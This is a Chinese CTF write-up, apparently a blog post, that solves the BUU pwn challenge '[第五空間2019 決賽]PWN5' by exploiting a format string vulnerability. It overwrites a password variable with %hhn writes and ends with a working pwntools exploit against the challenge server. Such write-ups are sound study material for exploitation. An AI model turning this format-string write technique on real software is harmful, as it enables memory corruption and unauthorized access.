參考:BUU pwn [第五空間2019 決賽]PWN5 //格式化字符串漏洞 - Nemuzuki - 博客園 (cnblogs.com)
格式化字符串漏洞原理詳解_printf 任意內存讀取-CSDN博客
32位小端排序,有棧溢出保護
運行效果:
查看main函數
存在格式化字符串漏洞
輸入的參數在棧上的位置是第十個:
可以直接%10$定位到這個位置:
利用格式化字符串漏洞去修改變量的值,這里變量長度為4個字節
對應的變量地址為0x0804C044、0x0804C045、0x0804C046、0x0804C047
所以可以用%10$,%11$,%12$,%13$去定位到這4個地址,再用%n修改這這個地址里的內容,正常的printf語句如下:
printf(“%10$hhn%11$hhn%12$hhn%13$hhn”, …,0x804c044, 0x804c045, 0x804c046, 0x804c047)
因此將正常的printf語句轉為無參數的printf,即將參數放到格式化字符串前面構造payload,從而利用%n將前面的字符數寫入到指定地址中,passwd的每個字節即寫入地址中的值是p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)的長度,也就是4x4=16,二進制為0x10,所以passwd就是4個0x10拼接起來后的計算結果str(0x10101010)=269488144
這里沒太懂為什么是16,難道是打印結果中G\xcF\xcE\xcD\xc的長度?
printf(“%10$hhn%11$hhn%12$hhn%13$hhn”, …,0x804c044, 0x804c045, 0x804c046, 0x804c047)
最終可用的exp:
from pwn import *
p = remote("node5.buuoj.cn",28260)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%10$hhn%11$hhn%12$hhn%13$hhn'
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()
執行效果: